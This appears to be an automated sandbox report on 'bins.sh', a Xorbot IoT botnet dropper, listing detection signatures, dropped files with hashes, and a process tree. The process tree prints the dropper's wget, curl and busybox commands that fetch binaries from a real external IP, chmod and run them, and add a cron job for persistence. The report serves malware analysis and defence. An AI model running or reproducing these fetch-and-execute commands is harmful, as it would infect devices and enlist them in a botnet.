Analysis

  • max time kernel
    139s
  • max time network
    145s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    01/01/2025, 13:26

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250101-qphg7synbj
  • SHA256 495c750e4e9a940028d9cedeb764bc681e91dd6fd3a5b84b6121a0879ecc917e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1733) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://66.63.187.225/bins/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          ./0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm 0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://66.63.187.225/bins/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
            • Writes file to tmp directory
            PID:754
          • /bin/chmod
            chmod 777 yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
            • File and Directory Permissions Modification
            PID:760
          • /tmp/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            ./yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
            • Executes dropped EXE
            PID:762
          • /bin/rm
            rm yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
              PID:765
            • /usr/bin/wget
              wget http://66.63.187.225/bins/SKP927G3djl16n8VNyPjN1TUyPyQLAAJhA
              2⤵
              • Writes file to tmp directory
              PID:766
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/SKP927G3djl16n8VNyPjN1TUyPyQLAAJhA
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:776
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/SKP927G3djl16n8VNyPjN1TUyPyQLAAJhA
              2⤵
              • Writes file to tmp directory
              PID:794
            • /bin/chmod
              chmod 777 SKP927G3djl16n8VNyPjN1TUyPyQLAAJhA
              2⤵
              • File and Directory Permissions Modification
              PID:800
            • /tmp/SKP927G3djl16n8VNyPjN1TUyPyQLAAJhA
              ./SKP927G3djl16n8VNyPjN1TUyPyQLAAJhA
              2⤵
              • Executes dropped EXE
              PID:802
            • /bin/rm
              rm SKP927G3djl16n8VNyPjN1TUyPyQLAAJhA
              2⤵
                PID:804
              • /usr/bin/wget
                wget http://66.63.187.225/bins/jdIpqpRq7oruX0nA82HC0lHxXCPGWWWbPR
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:805
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/jdIpqpRq7oruX0nA82HC0lHxXCPGWWWbPR
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:806
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/jdIpqpRq7oruX0nA82HC0lHxXCPGWWWbPR
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:807
              • /bin/chmod
                chmod 777 jdIpqpRq7oruX0nA82HC0lHxXCPGWWWbPR
                2⤵
                • File and Directory Permissions Modification
                PID:808
              • /tmp/jdIpqpRq7oruX0nA82HC0lHxXCPGWWWbPR
                ./jdIpqpRq7oruX0nA82HC0lHxXCPGWWWbPR
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                • System Network Configuration Discovery
                PID:809
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:811
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:812
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:813
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:814
                    • /bin/rm
                      rm jdIpqpRq7oruX0nA82HC0lHxXCPGWWWbPR
                      2⤵
                      • System Network Configuration Discovery
                      PID:822
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/qLnhJqISSQQAjH0QsVEOd1A8vn3hHMZMez
                      2⤵
                        PID:826
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/qLnhJqISSQQAjH0QsVEOd1A8vn3hHMZMez
                        2⤵
                          PID:828
                        • /bin/busybox
                          /bin/busybox wget http://66.63.187.225/bins/qLnhJqISSQQAjH0QsVEOd1A8vn3hHMZMez
                          2⤵
                          • Writes file to tmp directory
                          PID:912
                        • /bin/chmod
                          chmod 777 qLnhJqISSQQAjH0QsVEOd1A8vn3hHMZMez
                          2⤵
                          • File and Directory Permissions Modification
                          PID:931
                        • /tmp/qLnhJqISSQQAjH0QsVEOd1A8vn3hHMZMez
                          ./qLnhJqISSQQAjH0QsVEOd1A8vn3hHMZMez
                          2⤵
                          • Executes dropped EXE
                          PID:932
                        • /bin/rm
                          rm qLnhJqISSQQAjH0QsVEOd1A8vn3hHMZMez
                          2⤵
                            PID:936
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/3OGdY0hLPas0GWeWPhedrIKe80rm0NjC6R
                            2⤵
                              PID:937
                            • /usr/bin/curl
                              curl -O http://66.63.187.225/bins/3OGdY0hLPas0GWeWPhedrIKe80rm0NjC6R
                              2⤵
                                PID:940
                              • /bin/busybox
                                /bin/busybox wget http://66.63.187.225/bins/3OGdY0hLPas0GWeWPhedrIKe80rm0NjC6R
                                2⤵
                                • Writes file to tmp directory
                                PID:943
                              • /bin/chmod
                                chmod 777 3OGdY0hLPas0GWeWPhedrIKe80rm0NjC6R
                                2⤵
                                • File and Directory Permissions Modification
                                PID:946
                              • /tmp/3OGdY0hLPas0GWeWPhedrIKe80rm0NjC6R
                                ./3OGdY0hLPas0GWeWPhedrIKe80rm0NjC6R
                                2⤵
                                • Executes dropped EXE
                                PID:947
                              • /bin/rm
                                rm 3OGdY0hLPas0GWeWPhedrIKe80rm0NjC6R
                                2⤵
                                  PID:949
                                • /usr/bin/wget
                                  wget http://66.63.187.225/bins/PS91w1GMTHjIHk859kvOherOJ9dLqOHVpi
                                  2⤵
                                    PID:950
                                  • /usr/bin/curl
                                    curl -O http://66.63.187.225/bins/PS91w1GMTHjIHk859kvOherOJ9dLqOHVpi
                                    2⤵
                                      PID:951
                                    • /bin/busybox
                                      /bin/busybox wget http://66.63.187.225/bins/PS91w1GMTHjIHk859kvOherOJ9dLqOHVpi
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:952
                                    • /bin/chmod
                                      chmod 777 PS91w1GMTHjIHk859kvOherOJ9dLqOHVpi
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:953
                                    • /tmp/PS91w1GMTHjIHk859kvOherOJ9dLqOHVpi
                                      ./PS91w1GMTHjIHk859kvOherOJ9dLqOHVpi
                                      2⤵
                                      • Executes dropped EXE
                                      PID:955
                                    • /bin/rm
                                      rm PS91w1GMTHjIHk859kvOherOJ9dLqOHVpi
                                      2⤵
                                        PID:957
                                      • /usr/bin/wget
                                        wget http://66.63.187.225/bins/akMonpLea2luonEwcj3ihijaNMHlXpdBEE
                                        2⤵
                                          PID:958
                                        • /usr/bin/curl
                                          curl -O http://66.63.187.225/bins/akMonpLea2luonEwcj3ihijaNMHlXpdBEE
                                          2⤵
                                            PID:959
                                          • /bin/busybox
                                            /bin/busybox wget http://66.63.187.225/bins/akMonpLea2luonEwcj3ihijaNMHlXpdBEE
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:960
                                          • /bin/chmod
                                            chmod 777 akMonpLea2luonEwcj3ihijaNMHlXpdBEE
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:961
                                          • /tmp/akMonpLea2luonEwcj3ihijaNMHlXpdBEE
                                            ./akMonpLea2luonEwcj3ihijaNMHlXpdBEE
                                            2⤵
                                            • Executes dropped EXE
                                            PID:962
                                          • /bin/rm
                                            rm akMonpLea2luonEwcj3ihijaNMHlXpdBEE
                                            2⤵
                                              PID:964
                                            • /usr/bin/wget
                                              wget http://66.63.187.225/bins/vZSa00IqZmwNGTLMpC2Ue6BcQxSjkKCdGC
                                              2⤵
                                                PID:965

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W

                                                  • Path /tmp/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
                                                  • Size 127KB
                                                  • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  3OGdY0hLPas0GWeWPhedrIKe80rm0NjC6R

                                                  • Path /tmp/3OGdY0hLPas0GWeWPhedrIKe80rm0NjC6R
                                                  • Size 99KB
                                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  PS91w1GMTHjIHk859kvOherOJ9dLqOHVpi

                                                  • Path /tmp/PS91w1GMTHjIHk859kvOherOJ9dLqOHVpi
                                                  • Size 119KB
                                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  SKP927G3djl16n8VNyPjN1TUyPyQLAAJhA

                                                  • Path /tmp/SKP927G3djl16n8VNyPjN1TUyPyQLAAJhA
                                                  • Size 98KB
                                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  akMonpLea2luonEwcj3ihijaNMHlXpdBEE

                                                  • Path /tmp/akMonpLea2luonEwcj3ihijaNMHlXpdBEE
                                                  • Size 117KB
                                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  jdIpqpRq7oruX0nA82HC0lHxXCPGWWWbPR

                                                  • Path /tmp/jdIpqpRq7oruX0nA82HC0lHxXCPGWWWbPR
                                                  • Size 151KB
                                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  qLnhJqISSQQAjH0QsVEOd1A8vn3hHMZMez

                                                  • Path /tmp/qLnhJqISSQQAjH0QsVEOd1A8vn3hHMZMez
                                                  • Size 111KB
                                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My

                                                  • Path /tmp/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
                                                  • Size 112KB
                                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  tmp.MBYBo6

                                                  • Path /var/spool/cron/crontabs/tmp.MBYBo6
                                                  • Size 210B
                                                  • SHA256 8485292cfe5f9d8881d5c1df63439a965ba62d8587b3c6df1f5881d061b578ad
                                                  • MD5 SHA1 SHA512